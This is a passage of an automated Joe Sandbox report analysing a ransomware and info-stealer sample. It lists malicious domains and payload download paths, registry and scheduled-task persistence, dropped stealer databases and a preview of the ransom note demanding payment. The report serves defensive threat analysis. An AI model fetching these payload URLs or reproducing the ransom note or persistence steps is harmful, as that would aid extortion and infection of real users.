http://https://ns1.kriston.ugns2.chalekin.ugns3.unalelath.ugns4.andromath.ug/Error	Z4CYGTBlj7.exe, 00000000.00000002.2003394199.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000001.00000002.2022224043.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000004.00000002.2027008388.0000000005DF0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000005.00000002.2566125875.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000006.00000002.2046936112.0000000005C90000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000007.00000002.4452631416.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000C.00000002.2177082596.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 0000000D.00000002.2188415452.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Z4CYGTBlj7.exe, 00000016.00000002.2436787677.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://medal.tv	build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://broadcast.st.dl.eccdnx.com	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2126573580.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2124568552.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	build2.exe, 00000009.00000003.2211655451.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2285261138.00000000007A6000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2211399779.00000000007AA000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2176018153.00000000007AF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2193344780.00000000007B0000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000009.00000002.2284519794.0000000000434000.00000040.00000400.00020000.00000000.sdmp, build2.exe, 00000009.00000003.2136984457.00000000007AF000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
189.163.142.13	cajgtus.com	Mexico	8151	UninetSAdeCVMX	true
172.67.139.220	api.2ip.ua	United States	13335	CLOUDFLARENETUS	false
211.181.24.133	sdfjhuz.com	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	true
184.85.65.125	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
95.217.9.149	unknown	Germany	24940	HETZNER-ASDE	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1430943
Start date and time:	2024-04-24 12:06:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Z4CYGTBlj7.exe renamed because original name is a hash value
Original Sample Name:	f4c37292b365c19e6d2feeb6a17c4049.exe
Detection:	MAL
Classification:	mal100.rans.spre.troj.spyw.evad.winEXE@45/1420@10/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 63 Number of non-executed functions: 227
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:06:59	Task Scheduler	Run new task: Time Trigger Task path: C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe s>--Task
12:07:02	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
12:07:04	API Interceptor	1x Sleep call for process: Z4CYGTBlj7.exe modified
12:07:12	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run SysHelper "C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe" --AutoStart
12:07:17	API Interceptor	1x Sleep call for process: build2.exe modified
12:07:21	Task Scheduler	Run new task: Azure-Update-Task path: C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe
12:08:05	API Interceptor	6400396x Sleep call for process: mstsca.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.139.220	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	MdeeRbWvqe.exe	Get hash	malicious	LummaC, Babuk, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.12827.18803.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	Grkradw6vd.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	Looy Ransomware.cmd	Get hash	malicious	Babuk, Djvu	Browse
211.181.24.133	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, SmokeLoader, Vidar, Xehook Stealer	Browse	sdfjhuz.com/dl/build2.exe
	OKaDvPJcTF.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, Glupteba, LummaC Stealer, PureLog Stealer	Browse	sajdfue.com/files/1/build3.exe
	MCYq2AqNU0.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc, Xmrig	Browse	sjyey.com/tmp/index.php
	e6sLDuysz9.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Stealc	Browse	sjyey.com/tmp/index.php
	8TmTmPo08O.exe	Get hash	malicious	LummaC, Glupteba, SmokeLoader, Stealc	Browse	emgvod.com/emd/1.jpg
	Vxn2mDf302.exe	Get hash	malicious	LummaC, Glupteba, SmokeLoader, Stealc	Browse	emgvod.com/emd/1.jpg
	fnKtfdi0P0.exe	Get hash	malicious	LummaC, Glupteba, SmokeLoader, Socks5Systemz, Stealc, Xmrig	Browse	sjyey.com/tmp/index.php
	8qYYdOgSHI.exe	Get hash	malicious	Amadey, PureLog Stealer, SmokeLoader	Browse	sjyey.com/tmp/index.php
	aC4Qp8f9ks.exe	Get hash	malicious	Amadey, SmokeLoader	Browse	emgvod.com/uploads/logo3.jpg
	L2OyId5r9o.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, PureLog Stealer, RedLine, SmokeLoader	Browse	habrafa.com/files/1/build3.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sdfjhuz.com	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	175.119.10.231
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.147.159.149
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	123.140.161.243
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	186.13.17.220
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	211.181.24.132
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	190.218.33.18
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	187.228.55.117
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	179.27.75.59
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	187.134.67.105
cajgtus.com	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	200.45.93.45
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	85.11.159.22
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.245.19.217
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	81.183.132.103
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	58.151.148.90
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.132
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.195.132.134
api.2ip.ua	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.21.65.24
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse	172.67.139.220
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse	104.21.65.24
steamcommunity.com	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.66.133.162
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	23.66.133.162
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	96.17.209.196
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	184.30.90.143
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.59.200.146
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.106.57.101
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.76.43.59
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.67.208.180
	file.exe	Get hash	malicious	Vidar	Browse	23.47.27.74
	file.exe	Get hash	malicious	Vidar	Browse	23.65.246.108

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
LGDACOMLGDACOMCorporationKR	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	123.140.161.243
	3CB27VUHRg.exe	Get hash	malicious	Babuk, Djvu	Browse	211.181.24.132
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	211.181.24.132
	oVOImRIAaz.elf	Get hash	malicious	Mirai	Browse	211.168.166.45
	1mHUcsxKG6.elf	Get hash	malicious	Mirai	Browse	123.143.169.235
	wMPum9KAnI.elf	Get hash	malicious	Mirai	Browse	61.248.201.89
	xzk9TKqNoI.elf	Get hash	malicious	Mirai	Browse	118.131.165.73
	SecuriteInfo.com.Trojan.InstallCore.4086.15026.2213.exe	Get hash	malicious	PrivateLoader, PureLog Stealer	Browse	112.222.118.250
	BitTorrent-7.6.exe	Get hash	malicious	Unknown	Browse	106.244.173.151
	BitTorrent-7.6.exe	Get hash	malicious	Unknown	Browse	106.253.208.41
AKAMAI-ASUS	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.66.133.162
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	23.66.133.162
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	96.17.209.196
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	184.30.90.143
	https://tibusiness.cl/css/causarol.rar	Get hash	malicious	Unknown	Browse	23.217.9.75
	http://damarltda.cl/certificado.php	Get hash	malicious	Unknown	Browse	23.200.60.110
	Payment MT103.xls	Get hash	malicious	Unknown	Browse	23.200.60.110
	PO#0023298413.xls	Get hash	malicious	Unknown	Browse	23.200.60.110
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	23.59.200.146
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	104.106.57.101
UninetSAdeCVMX	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	957C4XK6Lt.exe	Get hash	malicious	Phorpiex	Browse	189.190.10.16
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.245.19.217
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	189.232.19.193
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	187.228.55.117
	oVOImRIAaz.elf	Get hash	malicious	Mirai	Browse	201.129.243.137
	xzk9TKqNoI.elf	Get hash	malicious	Mirai	Browse	148.227.200.233
	sora.arm.elf	Get hash	malicious	Mirai	Browse	201.155.131.147
	sora.arm7.elf	Get hash	malicious	Mirai	Browse	189.181.178.47
	SecuriteInfo.com.Trojan.InstallCore.4086.15026.2213.exe	Get hash	malicious	PrivateLoader, PureLog Stealer	Browse	187.201.178.184
CLOUDFLARENETUS	https://funcallback.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	http://www.clinical-partners.co.uk	Get hash	malicious	Unknown	Browse	172.65.208.22
	PO_La-Tanerie04180240124.bat	Get hash	malicious	FormBook, GuLoader	Browse	172.67.152.117
	https://www.maultalk.com/url.php?to=https://www.serserijeans.com/gdy9haBM2BM2Fe5rss3RhBM2i2Pdk17x0qvi2PFe5nnaai2PrpWO3rk17dy9s3RWO3BM2	Get hash	malicious	Unknown	Browse	172.67.129.156
	https://dl.download-ai.top/	Get hash	malicious	Unknown	Browse	172.67.171.170
	IPrstVM17M.exe	Get hash	malicious	Unknown	Browse	172.67.161.186
	IPrstVM17M.exe	Get hash	malicious	Unknown	Browse	172.67.161.186
	QUOTATION_APRQTRA031244#U00b7PDF.scr.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	172.67.200.96
	http://web-hosts.io	Get hash	malicious	Unknown	Browse	172.66.40.168
	DHL EXPRESS.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	95.217.9.149
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	95.217.9.149
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
	file.exe	Get hash	malicious	Vidar	Browse	95.217.9.149
37f463bf4616ecd445d4a1937da06e19	IPrstVM17M.exe	Get hash	malicious	Unknown	Browse	172.67.139.220 184.85.65.125
	IPrstVM17M.exe	Get hash	malicious	Unknown	Browse	172.67.139.220 184.85.65.125
	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220 184.85.65.125
	Zapytanie ofertowe Fl#U00e4ktGroup 04232024.hta	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.139.220 184.85.65.125
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse	172.67.139.220 184.85.65.125
	Umulighed.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	172.67.139.220 184.85.65.125
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse	172.67.139.220 184.85.65.125
	responsibilityleadpro.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.139.220 184.85.65.125
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse	172.67.139.220 184.85.65.125
	#U0421#U041f#U0426 #U2116130 #U043e#U0442 12.04.2024 #U043f#U043e#U0434#U043f#U0438#U0441..exe	Get hash	malicious	GuLoader, Remcos	Browse	172.67.139.220 184.85.65.125

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8xFzJWrEIa.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, RedLine, SmokeLoader, Vidar	Browse
	2llKbb9pR7.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, RedLine, SmokeLoader	Browse
	CDssd7jEvY.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
	SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe	Get hash	malicious	LummaC, Babuk, Clipboard Hijacker, Djvu, LummaC Stealer, SmokeLoader, Vidar	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\sqln[1].dll	SUwX12D2S6.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	PureLog Stealer, Vidar	Browse
	rq0mVjR9ar.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	8jvTeVxooN.exe	Get hash	malicious	Babuk, Djvu, Vidar	Browse
	UXNob1Dp32.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	mJVVW85CnW.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	JfOWsh7v0r.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	AaIo4VGgvO.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\$WinREAgent\_README.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.886902769076487
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3C:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kV
MD5:	DA7AFEAE8B1C0BFBA8EC3049E4183D79
SHA1:	A988BC269E10958101D519FFF2EB53B683F8DD86
SHA-256:	02D3BE759FEBD8BC1949FE18220550E2A2C73DC764AED3D8F108C0676E8BE517
SHA-512:	384B94BDE8D2B9FC2834F70888855D2297D950E52A1136C6B2EC4B8AA5FA0AC5D8636061FC71D4E7CA4FD93CA45F1FAF65AF8970599C6B0AF99E382D5A71CAE4
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\ProgramData\AFCFHJJE

Download File

Process:	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IIJDBGDGCGDAKFIDGIDBFIEHDH

Download File

Process:	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJJDAAECGHDGDGCGHDB

Download File

Process:	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build2.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\SystemID\PersonalID.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.963745994207334
Encrypted:	false
SSDEEP:	3:vKPPPCHolQlcy:SNQWy
MD5:	4D56996B57741FA59DFDDED1946590DB
SHA1:	281E3A27F7114604F425BFA2E75BD0B269CAF173
SHA-256:	C112245FC2D0F41C63CAED3C14F17B9E4BCB8790C99A4DB15C0A55018A7C9E7A
SHA-512:	53B8A7E2AEC8439B7A1811CCA5F71D2D2415057E37D5FD23D9218E5861EFA75A20E884EF3316C218D2CE88771E82B1561F3735FD5CD420B8E8F145F009CAEA25
Malicious:	false
Preview:	8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw..

C:\Users\user\.curlrc

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.209946247762175
Encrypted:	false
SSDEEP:	6:KWV/RcCCM7pS2cNaNZJ+G+Ahcv1aNJv5YQ2+lL0U57c3uQW3cii96Z:NVGKpSsNZJ+nnaFtL0U6uQscii9a
MD5:	F55625E7E0FBFA073FAC9C1F956006FE
SHA1:	066A93290380422FF34CFEFD2A7347AA453CD01C
